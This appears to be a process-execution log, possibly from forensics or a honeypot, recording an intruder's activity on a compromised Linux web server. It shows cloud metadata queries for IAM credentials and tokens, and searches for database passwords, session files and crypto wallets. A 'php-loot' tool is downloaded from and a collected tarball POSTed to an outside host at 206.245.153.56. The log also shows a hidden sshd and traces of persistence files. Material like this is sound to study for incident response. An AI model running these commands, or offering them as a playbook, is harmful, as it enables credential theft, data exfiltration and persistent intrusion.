2026-10-31 01:41:24Not attributedNot attributedsh -> shcurl -sS --max-time 2 http://169.254.169.254/latest/meta-data/instance-type
2026-10-31 01:41:24Not attributedNot attributedsh -> shcurl -sS --max-time 2 http://169.254.169.254/latest/meta-data/local-ipv4
2026-10-31 01:41:24Not attributedNot attributedsh -> shcurl -sS --max-time 2 http://169.254.169.254/latest/meta-data/placement/availability-zone
2026-10-31 01:41:29Not attributedNot attributedsh -> shcurl -sS --max-time 2 http://169.254.169.254/latest/meta-data/public-ipv4
2026-10-31 01:41:29Not attributedNot attributedsh -> shcurl -sS --max-time 2 http://169.254.169.254/latest/meta-data/local-hostname
2026-10-31 01:41:37Not attributedNot attributedsh -> shcurl -sS --max-time 2 http://169.254.169.254/latest/meta-data/public-hostname
2026-10-31 01:41:37Not attributedNot attributedsh -> shcurl -sS --max-time 2 http://169.254.169.254/latest/meta-data/iam/info
2026-10-31 01:41:37Not attributedNot attributedsh -> shcurl -sS --max-time 2 http://169.254.169.254/latest/meta-data/security-groups
2026-10-31 01:41:44Not attributedNot attributedsh -> shcurl -sS --max-time 2 -X PUT -H X-aws-ec2-metadata-token-ttl-seconds: 21600 http://169.254.169.254/latest/api/token
2026-10-31 01:41:44Not attributedNot attributedsh -> shcurl -sS --max-time 2 http://169.254.169.254/latest/meta-data/iam/security-credentials/
2026-10-31 01:41:49Not attributedNot attributedsh -> shcurl -sS --max-time 2 -H Metadata-Flavor: Google http://metadata.google.internal/computeMetadata/v1/instance/
2026-10-31 01:41:49Not attributedNot attributedsh -> shcurl -sS --max-time 2 http://169.254.169.254/openstack/latest/user_data
2026-10-31 01:41:49Not attributedNot attributedsh -> shcurl -sS --max-time 2 http://169.254.169.254/openstack/latest/meta_data.json
2026-10-31 01:41:55Not attributedNot attributedsh -> shcurl -sS --max-time 2 http://169.254.169.254/metadata/v1/
2026-10-31 01:41:55Not attributedNot attributedsh -> shcurl -sS --max-time 2 http://169.254.169.254/opc/v1/instance/
2026-10-31 01:41:55Not attributedNot attributedsh -> shcurl -sS --max-time 2 -H Metadata-Flavor: Google http://metadata.google.internal/computeMetadata/v1/project/project-id
2026-10-31 01:41:55Not attributedNot attributedsh -> shcurl -sS --max-time 2 -H Metadata-Flavor: Google http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
2026-10-31 01:41:55Not attributedNot attributedsh -> shcurl -sS --max-time 2 -H Metadata: true http://169.254.169.254/metadata/instance?api-version=2021-02-01
2026-10-31 01:42:00Not attributedNot attributedsh -> shfind /var/www /srv/www -maxdepth 4 ( -iname *openapi* -o -iname *swagger* )
2026-10-31 01:42:00Not attributedNot attributedsh -> shfind /var/www /usr/share/nginx /srv/www -name .htaccess -type f
2026-10-31 01:42:00Not attributedNot attributedsh -> shfind /var/www/html -maxdepth 3 -type f -printf %s %TY-%Tm-%Td %p\n
2026-10-31 01:42:00Not attributedNot attributedsh -> shfind /var/www -maxdepth 3 -type f -printf %s %TY-%Tm-%Td %p\n
2026-10-31 01:42:00Not attributedNot attributedsh -> shls -la /var/www /var/www/html /var/www/html/public /usr/share/nginx/html /srv/www
2026-10-31 01:42:00Not attributedNot attributedsh -> shls -la /etc/apache2/sites-enabled /etc/nginx/sites-enabled /etc/nginx/conf.d
2026-10-31 01:42:00Not attributedNot attributedsh -> shtimeout 40 sh -c echo "== roots"; ls -la /var/www /var/www/html /var/www/html/public /usr/share/nginx/html /srv/www 2>/dev/null echo "== apache docs"; apache2ctl -S 2>/dev/null; grep -Rhs "DocumentRoot" /etc/apache2 /etc/httpd 2>/dev/null | head -30 echo "== nginx docs"; nginx -T 2>/dev/null | grep
2026-10-31 01:42:00Not attributedNot attributedtimeout -> timeoutsh -c echo "== roots"; ls -la /var/www /var/www/html /var/www/html/public /usr/share/nginx/html /srv/www 2>/dev/null echo "== apache docs"; apache2ctl -S 2>/dev/null; grep -Rhs "DocumentRoot" /etc/apache2 /etc/httpd 2>/dev/null | head -30 echo "== nginx docs"; nginx -T 2>/dev/null | grep -E "root | ; sh -c echo "== roots"; ls -la /var/www /var/www/html /var/www/html/public /usr/share/nginx/html /srv/www 2>/dev/null echo "== apache docs"; apache2ctl -S 2>/dev/null; grep -Rhs "DocumentRoot" /etc/apache2 /etc/httpd 2>/dev/null | head -30 echo "== nginx docs"; nginx -T 2>/dev/null | grep -E "root | ; sh -c echo "== roots"; ls -la /var/www /var/www/html /var/www/html/public /usr/share/nginx/html /srv/www 2>/dev/null echo "== apache docs"; apache2ctl -S 2>/dev/null; grep -Rhs "DocumentRoot" /etc/apache2 /etc/httpd 2>/dev/null | head -30 echo "== nginx docs"; nginx -T 2>/dev/null | grep -E "root | ; sh -c echo "== roots"; ls -la /var/www /var/www/html /var/www/html/public /usr/share/nginx/html /srv/www 2>/dev/null echo "== apache docs"; apache2ctl -S 2>/dev/null; grep -Rhs "DocumentRoot" /etc/apache2 /etc/httpd 2>/dev/null | head -30 echo "== nginx docs"; nginx -T 2>/dev/null | grep -E "root |
2026-10-31 01:42:05Not attributedNot attributedsh -> shfind /usr/local/etc/php -type f -size -256k
2026-10-31 01:42:05Not attributedNot attributedsh -> shfind /etc/apache2 -type f -size -256k
2026-10-31 01:42:05Not attributedNot attributedsh -> shfind /var/www /home /opt /srv /etc /root /tmp /run/secrets /usr/local/etc /var/lib/php -xdev ( -path /tmp/<REDACTED>-443-2 -o -path */vendor/* -o -path */node_modules/* -o -path */.git/* -o -path /tmp/collect-* -o -path /tmp/deep-* -o -path /tmp/recon-* -o -path /tmp/.loot-tools* -o -path /tmp/.loot
2026-10-31 01:42:05Not attributedNot attributedsh -> shfind /var/www /home /opt /srv /etc /root /tmp /run/secrets /usr/local/etc /var/lib/php -xdev ( -path /tmp/<REDACTED>-443-2 -o -path */vendor/* -o -path */node_modules/* -o -path */.git/* -o -path /tmp/collect-* -o -path /tmp/deep-* -o -path /tmp/recon-* -o -path /tmp/.loot-tools* -o -path /tmp/.loot
2026-10-31 01:42:05Not attributedNot attributedsh -> shfind /var/www /home /opt /srv /etc /root /tmp /run/secrets /usr/local/etc /var/lib/php -xdev ( -path /tmp/<REDACTED>-443-2 -o -path */vendor/* -o -path */node_modules/* -o -path */.git/* -o -path /tmp/collect-* -o -path /tmp/deep-* -o -path /tmp/recon-* -o -path /tmp/.loot-tools* -o -path /tmp/.loot
2026-10-31 01:42:05Not attributedNot attributedsh -> shfind /home -type f -size -256k
2026-10-31 01:43:48Not attributedNot attributedsh -> shgrep -RInE -I -m 5 --exclude-dir=vendor --exclude-dir=node_modules --exclude-dir=.git --exclude-dir=tests --exclude-dir=docs --exclude-dir=dist --exclude-dir=build --exclude-dir=coverage --exclude-dir=<REDACTED>-443-2 --exclude-dir=collect-* --exclude-dir=recon-* --exclude-dir=.loot-tools --exclude=
2026-10-31 01:43:48Not attributedNot attributedsh -> shtimeout 60 sh -c grep -RInE -I -m 5 --exclude-dir=vendor --exclude-dir=node_modules --exclude-dir=.git --exclude-dir=tests --exclude-dir=docs --exclude-dir=dist --exclude-dir=build --exclude-dir=coverage --exclude-dir='<REDACTED>-443-2' --exclude-dir='collect-*' --exclude-dir='recon-*' --exclu
2026-10-31 01:43:48Not attributedNot attributedtimeout -> timeoutsh -c grep -RInE -I -m 5 --exclude-dir=vendor --exclude-dir=node_modules --exclude-dir=.git --exclude-dir=tests --exclude-dir=docs --exclude-dir=dist --exclude-dir=build --exclude-dir=coverage --exclude-dir='<REDACTED>-443-2' --exclude-dir='collect-*' --exclude-dir='recon-*' --exclude-dir='.lo ; sh -c grep -RInE -I -m 5 --exclude-dir=vendor --exclude-dir=node_modules --exclude-dir=.git --exclude-dir=tests --exclude-dir=docs --exclude-dir=dist --exclude-dir=build --exclude-dir=coverage --exclude-dir='<REDACTED>-443-2' --exclude-dir='collect-*' --exclude-dir='recon-*' --exclude-dir='.lo ; sh -c grep -RInE -I -m 5 --exclude-dir=vendor --exclude-dir=node_modules --exclude-dir=.git --exclude-dir=tests --exclude-dir=docs --exclude-dir=dist --exclude-dir=build --exclude-dir=coverage --exclude-dir='<REDACTED>-443-2' --exclude-dir='collect-*' --exclude-dir='recon-*' --exclude-dir='.lo ; sh -c grep -RInE -I -m 5 --exclude-dir=vendor --exclude-dir=node_modules --exclude-dir=.git --exclude-dir=tests --exclude-dir=docs --exclude-dir=dist --exclude-dir=build --exclude-dir=coverage --exclude-dir='<REDACTED>-443-2' --exclude-dir='collect-*' --exclude-dir='recon-*' --exclude-dir='.lo
2026-10-31 01:43:58Not attributedNot attributedsh -> shfind / -xdev ( -path /proc -o -path /sys -o -path /dev ) -prune -o -type f -perm -4000 -printf %m %u %g %p\n
2026-10-31 01:43:58Not attributedNot attributedsh -> shtimeout 40 sh -c echo "== recent 14d"; find /var/www /srv /opt /home /tmp -xdev \( -path "/tmp/<REDACTED>-443-2" -prune \) -o -type f -mtime -14 -printf "%TY-%Tm-%Td %TH:%TM %s %p\n" 2>/dev/null | sort -r | head -200 echo "== setuid"; find / -xdev \( -path /proc -o -path /sys -o -path /dev \) -prun
2026-10-31 01:43:58Not attributedNot attributedtimeout -> timeoutsh -c echo "== recent 14d"; find /var/www /srv /opt /home /tmp -xdev \( -path "/tmp/<REDACTED>-443-2" -prune \) -o -type f -mtime -14 -printf "%TY-%Tm-%Td %TH:%TM %s %p\n" 2>/dev/null | sort -r | head -200 echo "== setuid"; find / -xdev \( -path /proc -o -path /sys -o -path /dev \) -prune -o -type ; sh -c echo "== recent 14d"; find /var/www /srv /opt /home /tmp -xdev \( -path "/tmp/<REDACTED>-443-2" -prune \) -o -type f -mtime -14 -printf "%TY-%Tm-%Td %TH:%TM %s %p\n" 2>/dev/null | sort -r | head -200 echo "== setuid"; find / -xdev \( -path /proc -o -path /sys -o -path /dev \) -prune -o -type ; sh -c echo "== recent 14d"; find /var/www /srv /opt /home /tmp -xdev \( -path "/tmp/<REDACTED>-443-2" -prune \) -o -type f -mtime -14 -printf "%TY-%Tm-%Td %TH:%TM %s %p\n" 2>/dev/null | sort -r | head -200 echo "== setuid"; find / -xdev \( -path /proc -o -path /sys -o -path /dev \) -prune -o -type ; sh -c echo "== recent 14d"; find /var/www /srv /opt /home /tmp -xdev \( -path "/tmp/<REDACTED>-443-2" -prune \) -o -type f -mtime -14 -printf "%TY-%Tm-%Td %TH:%TM %s %p\n" 2>/dev/null | sort -r | head -200 echo "== setuid"; find / -xdev \( -path /proc -o -path /sys -o -path /dev \) -prune -o -type
2026-10-31 01:43:58Not attributedNot attributedsh -> shfind /var/www /srv /opt /home /tmp -xdev ( -path /tmp/<REDACTED>-443-2 -prune ) -o -type f -mtime -14 -printf %TY-%Tm-%Td %TH:%TM %s %p\n
2026-10-31 01:43:58Not attributedNot attributedsh -> shfind /var/www /srv /opt /home -xdev -type f ( -name *.log -o -path */logs/* ) -size -10M -printf %s %p\n
2026-10-31 01:43:58Not attributedNot attributedsh -> shls -laR /var/log
2026-10-31 01:43:58Not attributedNot attributedtimeout -> timeoutsh -c echo "== log tree"; ls -laR /var/log 2>/dev/null | head -200 for f in /var/log/apache2/access.log /var/log/apache2/error.log /var/log/nginx/access.log /var/log/nginx/error.log /var/log/auth.log /var/log/secure /var/log/syslog /var/log/messages /var/log/cron /var/log/mysql/error.log; do [ -r ; sh -c echo "== log tree"; ls -laR /var/log 2>/dev/null | head -200 for f in /var/log/apache2/access.log /var/log/apache2/error.log /var/log/nginx/access.log /var/log/nginx/error.log /var/log/auth.log /var/log/secure /var/log/syslog /var/log/messages /var/log/cron /var/log/mysql/error.log; do [ -r ; sh -c echo "== log tree"; ls -laR /var/log 2>/dev/null | head -200 for f in /var/log/apache2/access.log /var/log/apache2/error.log /var/log/nginx/access.log /var/log/nginx/error.log /var/log/auth.log /var/log/secure /var/log/syslog /var/log/messages /var/log/cron /var/log/mysql/error.log; do [ -r ; sh -c echo "== log tree"; ls -laR /var/log 2>/dev/null | head -200 for f in /var/log/apache2/access.log /var/log/apache2/error.log /var/log/nginx/access.log /var/log/nginx/error.log /var/log/auth.log /var/log/secure /var/log/syslog /var/log/messages /var/log/cron /var/log/mysql/error.log; do [ -r
2026-10-31 01:43:58Not attributedNot attributedsh -> shtimeout 40 sh -c echo "== log tree"; ls -laR /var/log 2>/dev/null | head -200 for f in /var/log/apache2/access.log /var/log/apache2/error.log /var/log/nginx/access.log /var/log/nginx/error.log /var/log/auth.log /var/log/secure /var/log/syslog /var/log/messages /var/log/cron /var/log/mysql/error.log
2026-10-31 01:43:58Not attributedNot attributedsshd -> sshdbash ; pgrep -af collect.sh|tar ; head -5 ; tail -3 ; ls -la /tmp/<REDACTED>-20261031.tgz /tmp/<REDACTED>-deep.tgz /tmp/t1.tgz ; tail -3 /tmp/c2.out
2026-10-31 01:44:22Not attributedNot attributedsh -> shfind / -xdev ( -path /proc -o -path /sys -o -path /dev ) -prune -o -type f -perm -2000 -printf %m %u %g %p\n
2026-10-31 01:44:43Not attributedNot attributedsh -> shfind /var/lib/php/sessions /var/lib/php5 /tmp /var/www/html/var/sessions /var/www/html/storage/framework/sessions -maxdepth 2 -type f -name sess_* -size -64k -print
2026-10-31 01:44:43Not attributedNot attributedsh -> shfind /var/lib/php/sessions /var/lib/php5 /tmp /var/www/html/var/sessions /var/www/html/storage/framework/sessions /var/www/html/var/cache -maxdepth 3 -type f ( -name sess_* -o -name *.session -o -name tokencache.* ) -printf %s\t%p\n
2026-10-31 01:45:14Not attributedNot attributedtimeout -> timeoutsh -c echo "== crontab"; crontab -l 2>/dev/null echo "== /etc/crontab"; cat /etc/crontab 2>/dev/null echo "== cron dirs"; ls -la /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.weekly /etc/cron.monthly /var/spool/cron/crontabs /var/spool/cron 2>/dev/null echo "== cron files"; for f in /etc/c ; sh -c echo "== crontab"; crontab -l 2>/dev/null echo "== /etc/crontab"; cat /etc/crontab 2>/dev/null echo "== cron dirs"; ls -la /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.weekly /etc/cron.monthly /var/spool/cron/crontabs /var/spool/cron 2>/dev/null echo "== cron files"; for f in /etc/c ; sh -c echo "== crontab"; crontab -l 2>/dev/null echo "== /etc/crontab"; cat /etc/crontab 2>/dev/null echo "== cron dirs"; ls -la /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.weekly /etc/cron.monthly /var/spool/cron/crontabs /var/spool/cron 2>/dev/null echo "== cron files"; for f in /etc/c ; sh -c echo "== crontab"; crontab -l 2>/dev/null echo "== /etc/crontab"; cat /etc/crontab 2>/dev/null echo "== cron dirs"; ls -la /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.weekly /etc/cron.monthly /var/spool/cron/crontabs /var/spool/cron 2>/dev/null echo "== cron files"; for f in /etc/c
2026-10-31 01:45:14Not attributedNot attributedsh -> shtimeout 40 sh -c echo "== crontab"; crontab -l 2>/dev/null echo "== /etc/crontab"; cat /etc/crontab 2>/dev/null echo "== cron dirs"; ls -la /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.weekly /etc/cron.monthly /var/spool/cron/crontabs /var/spool/cron 2>/dev/null echo "== cron files"; for
2026-10-31 01:45:14Not attributedNot attributedsh -> shcat /etc/crontab
2026-10-31 01:45:14Not attributedNot attributedsh -> shls -la /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.weekly /etc/cron.monthly /var/spool/cron/crontabs /var/spool/cron
2026-10-31 01:45:14Not attributedNot attributedsh -> shfind /var/www /srv /opt /home -xdev -type f ( -path *upload* -o -path *storage/app* -o -path *web/uploads* -o -path *var/uploads* -o -path *assets* -o -path *media* ) -size -256k -print
2026-10-31 01:45:14Not attributedNot attributedsh -> shfind /var/www /srv /opt /home -xdev -type f ( -path *upload* -o -path *storage/app* -o -path *web/uploads* -o -path *var/uploads* -o -path *assets* -o -path *media* ) -printf %s\t%TY-%Tm-%Td\t%p\n
2026-10-31 01:45:19Not attributedNot attributedsh -> shfind /var/lib /var/www /srv /opt /home -xdev -type f ( -name *.sqlite -o -name *.sqlite3 -o -name *.db -o -name *.sql -o -name *.dump -o -name dump.rdb -o -name *.bson ) -size -50M -printf %s\t%p\n
2026-10-31 01:45:19Not attributedNot attributedsh -> shgrep -RInE -I -m 3 mysql://|postgres|DATABASE_URL|DB_HOST|DB_DATABASE|DB_USERNAME|DB_PASSWORD|redis://|mongodb:// /var/www /srv /opt /home /etc
2026-10-31 01:45:19Not attributedNot attributedsh -> shtimeout 40 sh -c echo "== clients"; for b in mysql mysqldump psql pg_dump sqlite3 redis-cli mongo mongosh; do printf "%s=" "$b"; command -v "$b" 2>/dev/null; done echo "== db files"; find /var/lib /var/www /srv /opt /home -xdev -type f \( -name "*.sqlite" -o -name "*.sqlite3" -o -name "*.db" -o -na
2026-10-31 01:45:19Not attributedNot attributedtimeout -> timeoutsh -c echo "== clients"; for b in mysql mysqldump psql pg_dump sqlite3 redis-cli mongo mongosh; do printf "%s=" "$b"; command -v "$b" 2>/dev/null; done echo "== db files"; find /var/lib /var/www /srv /opt /home -xdev -type f \( -name "*.sqlite" -o -name "*.sqlite3" -o -name "*.db" -o -name "*.sql" ; sh -c echo "== clients"; for b in mysql mysqldump psql pg_dump sqlite3 redis-cli mongo mongosh; do printf "%s=" "$b"; command -v "$b" 2>/dev/null; done echo "== db files"; find /var/lib /var/www /srv /opt /home -xdev -type f \( -name "*.sqlite" -o -name "*.sqlite3" -o -name "*.db" -o -name "*.sql" ; sh -c echo "== clients"; for b in mysql mysqldump psql pg_dump sqlite3 redis-cli mongo mongosh; do printf "%s=" "$b"; command -v "$b" 2>/dev/null; done echo "== db files"; find /var/lib /var/www /srv /opt /home -xdev -type f \( -name "*.sqlite" -o -name "*.sqlite3" -o -name "*.db" -o -name "*.sql" ; sh -c echo "== clients"; for b in mysql mysqldump psql pg_dump sqlite3 redis-cli mongo mongosh; do printf "%s=" "$b"; command -v "$b" 2>/dev/null; done echo "== db files"; find /var/lib /var/www /srv /opt /home -xdev -type f \( -name "*.sqlite" -o -name "*.sqlite3" -o -name "*.db" -o -name "*.sql"
2026-10-31 01:45:19Not attributedNot attributedsh -> shls -la /etc/supervisor /etc/supervisor/conf.d
2026-10-31 01:45:24Not attributedNot attributedsh -> shtimeout 40 sh -c echo "== wallet files"; find /root /home /var/www /srv /opt /tmp -xdev -type f \( -name "wallet.dat" -o -name "*.wallet" -o -name "UTC--*" -o -name "*.kdbx" -o -iname "*keystore*" -o -iname "*mnemonic*" -o -iname "*seed*.txt" -o -name "*.key" \) -printf "%s\t%p\n" 2>/dev/null | sor
2026-10-31 01:45:24Not attributedNot attributedsh -> shls -la /var/lib/mysql /var/lib/postgresql /var/lib/redis /var/lib/mongodb
2026-10-31 01:45:24Not attributedNot attributedtimeout -> timeoutsh -c echo "== wallet files"; find /root /home /var/www /srv /opt /tmp -xdev -type f \( -name "wallet.dat" -o -name "*.wallet" -o -name "UTC--*" -o -name "*.kdbx" -o -iname "*keystore*" -o -iname "*mnemonic*" -o -iname "*seed*.txt" -o -name "*.key" \) -printf "%s\t%p\n" 2>/dev/null | sort -nr | hea ; sh -c echo "== wallet files"; find /root /home /var/www /srv /opt /tmp -xdev -type f \( -name "wallet.dat" -o -name "*.wallet" -o -name "UTC--*" -o -name "*.kdbx" -o -iname "*keystore*" -o -iname "*mnemonic*" -o -iname "*seed*.txt" -o -name "*.key" \) -printf "%s\t%p\n" 2>/dev/null | sort -nr | hea ; sh -c echo "== wallet files"; find /root /home /var/www /srv /opt /tmp -xdev -type f \( -name "wallet.dat" -o -name "*.wallet" -o -name "UTC--*" -o -name "*.kdbx" -o -iname "*keystore*" -o -iname "*mnemonic*" -o -iname "*seed*.txt" -o -name "*.key" \) -printf "%s\t%p\n" 2>/dev/null | sort -nr | hea ; sh -c echo "== wallet files"; find /root /home /var/www /srv /opt /tmp -xdev -type f \( -name "wallet.dat" -o -name "*.wallet" -o -name "UTC--*" -o -name "*.kdbx" -o -iname "*keystore*" -o -iname "*mnemonic*" -o -iname "*seed*.txt" -o -name "*.key" \) -printf "%s\t%p\n" 2>/dev/null | sort -nr | hea
2026-10-31 01:45:24Not attributedNot attributedsh -> shfind /root /home /var/www /srv /opt /tmp -xdev -type f ( -name wallet.dat -o -name *.wallet -o -name UTC--* -o -name *.kdbx -o -iname *keystore* -o -iname *mnemonic* -o -iname *seed*.txt -o -name *.key ) -printf %s\t%p\n
2026-10-31 01:45:29Not attributedNot attributedsshd -> sshdbash ; head -2 ; pgrep -af collect.sh ; head -3 ; wc -l /tmp/c2.out ; grep -E UPLOAD|META= /tmp/c2.out
2026-10-31 01:45:34Not attributedNot attributedsh -> shphp /tmp/.php-loot.4799.php /tmp/<REDACTED>-443-2/php
2026-10-31 01:45:34Not attributedNot attributedsh -> shtimeout 120 sh -c php '/tmp/.php-loot.4799.php' '/tmp/<REDACTED>-443-2/php'
2026-10-31 01:45:34Not attributedNot attributedtimeout -> timeoutsh -c php '/tmp/.php-loot.4799.php' '/tmp/<REDACTED>-443-2/php' ; sh -c php '/tmp/.php-loot.4799.php' '/tmp/<REDACTED>-443-2/php' ; sh -c php '/tmp/.php-loot.4799.php' '/tmp/<REDACTED>-443-2/php' ; sh -c php '/tmp/.php-loot.4799.php' '/tmp/<REDACTED>-443-2/php'
2026-10-31 01:45:34Not attributedNot attributedsh -> shcurl -sS --max-time 20 -o /tmp/.php-loot.4799.php http://206.245.153.56:8088/tools/php-loot.php
2026-10-31 01:45:42Not attributedNot attributedsshd -> sshdbash ; head ; pgrep -d, -f collect.sh ; ps -o pid,ppid,stat,wchan:20,cmd -p 4799,6700,6701 ; ls -l /proc/4799/fd ; head
2026-10-31 01:45:58Not attributedNot attributedsh -> shhostname -I
2026-10-31 01:45:58Not attributedNot attributedsh -> shps -e
2026-10-31 01:45:58Not attributedNot attributedsh -> shrm -f /tmp/.php-loot.4799.php
2026-10-31 01:46:02Not attributedNot attributedsh -> shsed -n s/^VERSION_ID=//p /etc/os-release
2026-10-31 01:46:02Not attributedNot attributedsh -> shsed -n s/^PRETTY_NAME=//p /etc/os-release
2026-10-31 01:46:02Not attributedNot attributedsh -> shsed -n s/^ID=//p /etc/os-release
2026-10-31 01:46:02Not attributedNot attributedsshd -> sshdbash ; cat /tmp/<REDACTED>-443-2/23-php-loot.txt ; pgrep -af php .*php-loot ; head -2
2026-10-31 01:46:02Not attributedNot attributedsh -> shuname -m
2026-10-31 01:46:02Not attributedNot attributedsh -> shid -Gn
2026-10-31 01:46:02Not attributedNot attributedsh -> shid -u
2026-10-31 01:46:02Not attributedNot attributedsh -> shid -g
2026-10-31 01:46:02Not attributedNot attributedsh -> shhostname -I
2026-10-31 01:46:02Not attributedNot attributedsh -> shid -un
2026-10-31 01:46:02Not attributedNot attributedsh -> shuname -r
2026-10-31 01:46:02Not attributedNot attributedsh -> shuname -a
2026-10-31 01:46:06Not attributedNot attributedsh -> shgrep -c ^processor /proc/cpuinfo
2026-10-31 01:46:06Not attributedNot attributedsh -> shawk /^MemFree:/{print $2} /proc/meminfo
2026-10-31 01:46:06Not attributedNot attributedsh -> shawk -F: /cpu MHz/{gsub(/^ /,"",$2); print $2; exit} /proc/cpuinfo
2026-10-31 01:46:06Not attributedNot attributedsh -> shawk /^MemTotal:/{print $2} /proc/meminfo
2026-10-31 01:46:06Not attributedNot attributedsh -> shawk -F: /model name/{gsub(/^ /,"",$2); print $2; exit} /proc/cpuinfo
2026-10-31 01:46:06Not attributedNot attributedsh -> shnproc
2026-10-31 01:46:06Not attributedNot attributedsh -> shawk -F: /cache size/{gsub(/^ /,"",$2); print $2; exit} /proc/cpuinfo
2026-10-31 01:46:06Not attributedNot attributedsh -> shsed -n s/^VERSION_CODENAME=//p /etc/os-release
2026-10-31 01:46:10Not attributedNot attributedsh -> shdf -P /
2026-10-31 01:46:10Not attributedNot attributedsh -> shdf -kP /
2026-10-31 01:46:10Not attributedNot attributedsh -> shdf -kP /
2026-10-31 01:46:10Not attributedNot attributedsh -> shawk /^SwapFree:/{print $2} /proc/meminfo
2026-10-31 01:46:10Not attributedNot attributedsh -> shawk /^MemAvailable:/{print $2} /proc/meminfo
2026-10-31 01:46:10Not attributedNot attributedsh -> shawk /^SwapTotal:/{print $2} /proc/meminfo
2026-10-31 01:46:14Not attributedNot attributedsh -> shps -e --no-headers
2026-10-31 01:46:20Not attributedNot attributedsh -> shfind . -type f -printf %s\t%TY-%Tm-%Td %TH:%TM\t%p\n
2026-10-31 01:46:20Not attributedNot attributedsh -> shfind . -type f ! -name manifest.tsv -print0
2026-10-31 01:46:20Not attributedNot attributedsh -> shfind /tmp/<REDACTED>-443-2/git -maxdepth 1 -mindepth 1 -type d
2026-10-31 01:46:30Not attributedNot attributedsh -> shcurl -sS --max-time 180 -o /dev/null -w %{http_code} -X POST --data-binary @/tmp/<REDACTED>-443-2.tgz http://206.245.153.56:8088/1422/<REDACTED>-443-2.tgz
2026-10-31 01:46:51Not attributedNot attributedsshd -> sshdbash ; head -3 ; grep -v bash ; pgrep -af collect.sh ; head ; grep -E UPLOAD|META= /tmp/c2.out
2026-10-31 01:47:33Not attributedNot attributedsshd -> sshdbash ; head -3 ; grep -E UPLOAD /tmp/c2.out ; ls -l /tmp/<REDACTED>-443-2.tgz
2026-10-31 01:47:33Not attributedNot attributedsshd -> sshdbash ; grep -E UPLOAD|TGZ /tmp/c2.out ; head -3 ; pgrep -c -f collect.sh
2026-10-31 01:48:23Not attributedNot attributedsshd -> sshdbash ; grep -E :A5D6|:01BB /proc/net/tcp ; awk {print $2} ; wc -l ; pgrep -af j/sshd -f|watch.sh ; head -4 ; ls -la /tmp/service-documents ; ls -l /var/log/apache2/.j
2026-10-31 01:49:15Not attributedNot attributedsshd -> sshdbash ; ls -la /tmp/service-documents ; tail -3 ; ls /tmp/c.txt
2026-10-31 01:49:54Not attributedNot attributedsshd -> sshdbash ; curl -s -m 10 -o /dev/null -w ip=%{http_code}\n http://10.20.0.2/ ; grep -c /proc/net/tcp ; awk $2 ~ /:0050|:01BB/ /proc/net/tcp
2026-10-31 01:50:09Not attributedNot attributedsshd -> sshdbash ; cat /proc/net/tcp ; cat /proc/net/tcp6 ; head -5 ; head -2 ; ls -l /proc/net/ns ; readlink /proc/self/ns/net ; readlink /proc/1/ns/net
2026-10-31 01:53:36Not attributedNot attributedsshd -> sshdbash ; ps aux ; grep -c [a]pache2 ; tail -3 /var/log/apache2/error.log ; ps aux ; grep [a]pache2 ; head -3
2026-10-31 01:53:55Not attributedNot attributedsshd -> sshdbash ; wc -l ; ps aux ; grep [a]pache2 ; grep [a]pache2 ; ps -eo pid,stat,etime,cmd
2026-10-31 01:53:55Not attributedNot attributedsshd -> bashgrep -E State|Threads /proc/64/status ; cat /proc/loadavg ; ls /var/log/apache2/access.log /var/log/apache2/error.log /var/log/apache2/other_vhosts_access.log ; head -3 ; ls -l /proc/64/status
2026-10-31 01:57:29Not attributedNot attributedsshd -> sshdbash ; stat -c %s %n /var/log/apache2/access.log ; ls -l /proc/64/fd ; head -5
2026-10-31 01:58:12Not attributedNot attributedsshd -> sshdbash ; ps -eo pid,ppid,stat,etime,cmd ; grep [a]pache2 ; cat /proc/64/wchan ; cat /proc/1/wchan
2026-10-31 01:58:18Not attributedNot attributedsshd -> bashps -eo pid,ppid,stat,etime,cmd ; head -20
2026-10-31 01:59:21Not attributedNot attributedsshd -> sshdbash ; timeout 5 sh -c echo probe > /var/log/apache2/.j/w.probe ; sh -c echo probe > /var/log/apache2/.j/w.probe ; sh -c echo probe > /var/log/apache2/.j/w.probe ; timeout 5 head -c 100 /var/log/apache2/.j/sshd_config ; head -c 100 /var/log/apache2/.j/sshd_config ; head -c 100 /var/log/apache2/.j/sshd_config ; timeout 5 head -c 100 /var/log/apache2/.j/w.probe ; head -c 100 /var/log/apache2/.j/w.probe ; head -c 100 /var/log/apache2/.j/w.probe ; timeout 5 head -c 50 /var/log/apache2/error.log ; head -c 50 /var/log/apache2/error.log ; head -c 50 /var/log/apache2/error.log
2026-10-31 02:00:19Not attributedNot attributedsshd -> sshdbash ; ls -l /proc/64/fd ; grep -c socket ; head -3 ; cat /proc/64/stack
2026-10-31 02:00:39Not attributedNot attributedsshd -> sshdbash ; id ; hostname ; date
2026-10-31 02:00:39Not attributedNot attributedbash -> bashtail -1 ; head -2 ; df -i / ; cat /proc/sys/fs/file-nr ; wc -l ; ls /proc/64/fd ; cat /proc/64/wchan ; cat /proc/1/wchan ; free -m
2026-10-31 02:01:45Not attributedNot attributedsshd -> sshdbash ; pgrep -af j/sshd -f|watch.sh ; wc -l ; grep -c Server listening /var/log/apache2/.j/sshd.log
2026-10-31 02:02:11Not attributedNot attributedsshd -> sshdbash ; id
2026-10-31 18:30:412.59.133.1512.59.133.151: 18:31:11 to 18:31:21 UTC, 6 GET, 2 POST to /upload.php, 3.6 MB sent; 2.59.133.151: 18:30:20 to 18:30:33 UTC, 6 GET, 3 POST to /, 5.8 MB sentapache2 -> shcurl 37455255:4 ; sleep 5
2026-11-04 21:27:59Not attributedNot attributedbash -> bashcurl -sS http://206.245.153.56:8088/tools/cleanup.sh -o /tmp/cleanup.sh
2026-11-04 21:28:06Not attributedNot attributedbash -> bashrm -f /tmp/.c1104
2026-11-04 21:28:06Not attributedNot attributedbash -> bashfind /var/www -name .htaccess -exec grep -l AddHandler.*x-httpd-php.*\.css {} ;
2026-11-04 21:28:06Not attributedNot attributedbash -> bashfind /var/www -name zz-persist.config.php -exec grep -l 206\.245\.153\.56 {} ;
2026-11-04 21:28:06Not attributedNot attributedbash -> bashfind /var/www -name .zz.sh -exec grep -l 206\.245\.153\.56 {} ;
2026-11-04 21:28:06Not attributedNot attributedbash -> bashfind /var/www -name .zz.php
